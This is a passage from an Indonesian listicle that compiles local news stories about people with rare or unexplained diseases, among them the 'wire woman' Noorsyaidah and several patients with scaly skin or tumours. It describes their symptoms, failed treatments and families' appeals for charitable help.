Pada sekarang ini Dede telah berhasil mengalami operasi di RS Sadikin Bandung dan sudah kembali hidup normal

2. Noorsyaidah, Si Manusia Kawat
DUNIA semakin tua dan aneh. Dari Sangatta, Kutai Timur, seorang perempuan bernama Noorsyaidah memproduksi kawat dari dalam tubuhnya. Seperti tampak dalam gambar, kawat-kawat yang tertanam di dalam tubuhnya tembus hingga keluar. Jika pada bagian telapak tangannya, kawat-kawat itu hanya tercetak di bawah lapisan kulit, justru pada bagian perut, batang-batang kawat berukuran 10-20cm itu melesak keluar.

Fenomena Noor ini tergolong aneh. Bahkan beberapa dokter mengaku belum menemukan gejala medis seperti yang dialami perempuan yang sehari-hari bekerja sebagai seorang guru TK itu. Upaya serius pun dilakukan tim medis, Beberapa pejabat setempat hingga menteri kesehatan menaruh perhatian serius pada penderitaan Noor.
Menurut Noor, kawat-kawat itu sudah bersemayam di dalam tubuhnya selama 20 tahun. Ia sendiri pernah mencoba mencabut kawat tersebut dari luar perutnya, anehnya kawat itu mencelup masuk ke dalam dan keluar lagi pada beberapa saat kemudian. Kawat-kawat itu juga seperti tumbuh secara acak. Adakalanya kawat itu jatuh sendiri dan anehnya kemudian muncul lagi.
Sejauh ini, sudah beberapa kali operasi ditempuh Noor, termasuk mendatangi dukun. Tapi, upaya itu menemui jalan buntu. Manusia Kawat dari Kalimantan Timur masih terus menanti keajaiban.




3. Halifah, Betis yang Membesar

Halifah (37) warga Sotek Kabupaten Penajam Paser Utara (PPU), Kalimantan Timur sejak tahun 2000 menderita penyakit aneh berupa benjolan seberat 30 kg di sekitar betis kirinya.

Di wajah Halifah terdapat puluhan benjolan sebesar kelereng. Di lengan kanannya terdapat puluhan benjolan sebesar bola tenis dan kelereng, begitu juga di telapak kakinya. Yang lebih mengagetkan, di betis kirinya terdapat benjolan sebesar bola sepak. Benjolan tersebut seperti balon yang diisi air. Lembek dan lentur.

Halifah tinggal di Jl Haji Pelori RT 3 Kelurahan Sotek, Kecamatan Penajam, Kabupaten Penajam Paser Utara. Ia mengidap penyakit tersebut sejak lahir. Kedua orangtuanya sudah meninggal sejak Halifah berusia 8 tahun. Awalnya, benjolan-benjolan tersebut tidak begitu dipedulikan keluarganya. Namun, awal tahun 2000 benjolan di betis kirinya semakin membesar. Padahal, sebelumnya benjolan tersebut hanya sebesar biji jagung.

4. Abdul Hazem, Kulitnya Hitam dan Bersisik

Bangkalan - Sudah setahun lebih, Abul Hazem (17) warga Dusun Naro’an Timur, Kelurahan Tunjung, Kecamatan Burneh, Bangkalan, Madura terbaring di rumahnya. Pria lulusan SD itu, mengalami penyakit aneh. Dokterpun tidak tahu jenis penyakitnya, tapi pihak keluarganya menyebut penyakit bersisik dan seluruh tubuhnya berwarna hitam pekat.

Semula, anak kedua dari pasangan Mat Rakis (38) dan Mukdiyah (36) mengalami benjolan kecil yang menyerupai penyakit cacar di pipi kanannya. Kemudian menjalar ke dada dan punggungnya hingga akhirnya tumbuh di sekujur tubuhnya. Yang tersisah hanya mulut dan telapak tangan dan kakinya yang kelihatan sempurna.

Lambat laun, tubuh Abul Hazem sulit digerakkan. Bahkan, panas dan gatal lebih mendominasi. Sedangkan hasrat makan normal seperti layaknya manusia yang sehat. Dalam sehari makan 3 kali, dan snack apapun juga dilahap.

Pihak keluarga Abul Hazem yang tergolong keluarga kurang mampu ini, tetap berusaha memeriksakan penyakit aneh tersebut. Mulai dari pusat kesehatan masyarakat (Puskesmas), Rumah Sakit Umum Daerah (RSUD) Bangkalan hingga RSU dr Soetomo, Surabaya. Namun, tidak ada hasilnya.

Pihak dokter pun juga tidak menyebut secara jelas apa jenis penyakit tersebut. Setiap obat yang diberikan dokter selalu diminum, tapi tidak ada hasilnya. Pihak keluarga Abul Hazem akhirnya memutuskan untuk dirawat di rumah, sebab, tidak lagi mempunyai biaya untuk pengobatan.

Mat Rakis, bapak penyandang penyakit aneh menuturkan, upaya medis sudah dilakukan.
Bahkan, minta barokah kepada para Kyai juga seringkali diupayakan, tapi tidak ada hasilnya. Malah, kondisi tubuh Abul Hazem semakin parah.

“Saat ini sering gatal bercampur panas. Dia sering minta digaruk hingga berjam-jam,” ujar Mat Rakis pada wartawan di rumahnya, Dusun Naro’an, Kelurahan Tunjung, Kecamatan Burneh, Bangkalan.

Dia berharap ada kepedulian dari masyarakat untuk pengobatan Abul Hazem. Sebab, pihak keluarga sudah tidak lagi mempunyai kemampuan berobat. “Saya sudah tidak mempunyai kemampuan lagi untuk berobat. Ya semoga ada orang yang peduli,” harapnya.

5. Ari, Bocah berkulit Kadal

Ari (12) anak pasangan Ernawati dan Nurali, warga Jalan Palem Indah RT 07/01, Kelurahan Ponduk Pucung, Kecamatan Pondok Aren, Tangerang, Banten, sungguh menyedihkan. Dari sekujur kulit tubuhnya bersisik. Penyakit aneh?

Kondisi Ari saat ini masih bisa bermain seperti layaknya anak-anak. Hanya, sebagian aktivitasnya dilakukan di dalam rumah. Maklum, dari sekujur tubuhnya bersisik. Mmebuat orang yang melihatnya merasa iba.

Kakek Ari, Sharfan, menuturkan bahwa , kelainan kulit yang diderita cucunya itu muncul sejak lahir dan sangat sulit untuk disembuhkan. "Dokter hanya menyebutkan ada kelainan kulit yang sulit disembuhkan," tutur Sharfan.

Masih menurut cerita sang kakek, penyakit aneh yang diderita Ari diduga karena Ernawati saat mengandung pernah menyiksa biawak saat Ari dalam kandungan berusia empat bulan. Namun, ini hanya dugaan sang kakek, karena dokter belum melakukan pemeriksaan detail apa yang sebenarnya diderita Ari.

6. Yani, Manusia Tumor

Warga Riungasih Rt 03/12 Kelurahan Tuguraja, Kec. Cihideung, Kota Tasikmalaya, Yani Suryani (39), hanya bisa pasrah dengan nasib yang dialaminya. Setiap saat ia senantiasa berdoa Kepada Allah swt agar penyakit aneh yang dideritanya sejak 39 tahun lalu bisa segera sembuh dan normal kembali seperti sediakala.

Anak ke dua dari empat keluarga pasangan Ny E Maskiah dan Kodir (alm) tersebut di sekujur tubuhnya dipenuhi dengan benjolan-benjolan. Benjolan itu tumbuh dari mulai sebesar jari tangan hingga sebesar kepalan orang dewasa, sehingga badan aslinya seperti sudah tidak terlihat jelas dan tertutup oleh benjolan tersebut.

Benjolan itu tumbuh dari kepala hingga kakinya, dan beberapa di antaranya sudah membesar, terutama di bagian kaki dan paha termasuk punggung. Sementara benjolan di bagian punggung yang diduga sebagai induknya kondisinya terus membesar, dan semakin memanjang hingga bentuknya seperti ekor dengan panjang sekitar 30 senti meter.

Ternyata benjolan itu bukan hanya tumbuh di bagian kulit luar saja, tapi juga tumbuh di bagian dalam hidung dan juga tumbuh pada lidah. Dampaknya, pernapasanya menjadi terganggu. Bukan itu saja, Yani saat ini sudah tidak bisa berjalan jauh, karena benjolan pada kaki dan betisnya terus membesar, sehingga terasa berat untuk dibawa jalan kaki. "Ayeuna mah tos teu tiasa mapah kanu tebih asa bareurat. Janten upami ngiring ngaos oge mung dinu caket we," ungkapnya saat ditemui di rumahnya Rabu

7. Sumini, Wajahnya Hilang Akibat Penyakit Aneh

Sumini (54), warga Desa Nglanduk, Kecamatan Wungu, Kabupaten Madiun, Jatim, selama puluhan tahun menderita penyakit aneh.
Suami Tumini, Marto (65), Minggu (21/6), mengatakan, akibat penyakit aneh tersebut, sebagian wajah Tumini telah hilang dan berlubang. Bagian kedua matanya, hidung, dan bibir hilang. Yang tersisa hanya tinggal dagu dan kening saja.

Menurut dia, penyakit aneh tersebut telah menyerang istrinya selama hampir 30 tahun lebih. Namun, karena keajaiban Tuhan, Sumini bisa bertahan meski jaringan hidung untuk bernafasnya juga tidak sempurna akibat penyakit tersebut. Bahkan kesadaran dan indera pendenagaran Sumini juga masih bagus.

8. Ahmad Yunus, Manusia Sisik Ikan
http://www.kabarinews.com/Media/4/jpg/2009/7/359bcbc7-de85-a017-25350b6cf90a279f.jpg
Ahmad kini hanya bisa pasrah oleh penyakit yang aneh, seluruh tubuhnya bersisik dan kulitnya terus mengelupas. Bahkan, kedua matanya nyaris buta karena tertutup kulit yang mengelupas.

Tubuhnya pun kini tidak bisa digerakkan lagi karena terasa sakit luar biasa. Penyakit ini datang berawal ketika tumbuh benjolan-benjolan kecil di wajahnya, tetapi kemudian seluruh bagian kepala dan punggungnya terasa gatal yang amat sangat.

Ahmad sebenarnya pernah dirawat di RSUD Karawang dengan menggunakan Kartu Gakin, namun setelah dirawat selama tiga minggu Ahmad dipaksa pulang oleh pihak rumah sakit dengan alasan sudah terlalu lama dan hanya menggunakan Kartu Gakin. Tragisnya lagi, pihak rumah sakit menyatakan penyakit Ahmad sudah tidak bisa disembuhkan lagi.

Sejak saat itu, Ahmad sudah tidak pernah berobat atau pergi ke rumah sakit karena takut ditolak. Sudah tiga bulan ini Ahmad hanya bisa pasrah dan tergeletak tak berdaya. Namun, Ahmad masih berharap ada perhatian dari pemerintah daerah atau bahkan pemerintah pusat untuk dapat menyembuhkan penyakitnya.

Ahmad berharap dengan adanya bantuan para dermawan, penyakitnya tidak akan semakin parah. Pria ini hanya hidup dalam keterbatasan di sebuah rumah yang sangat sederhana bersama ibunya, Cici (50), sementara sang ayah sudah meninggal beberapa tahun lalu.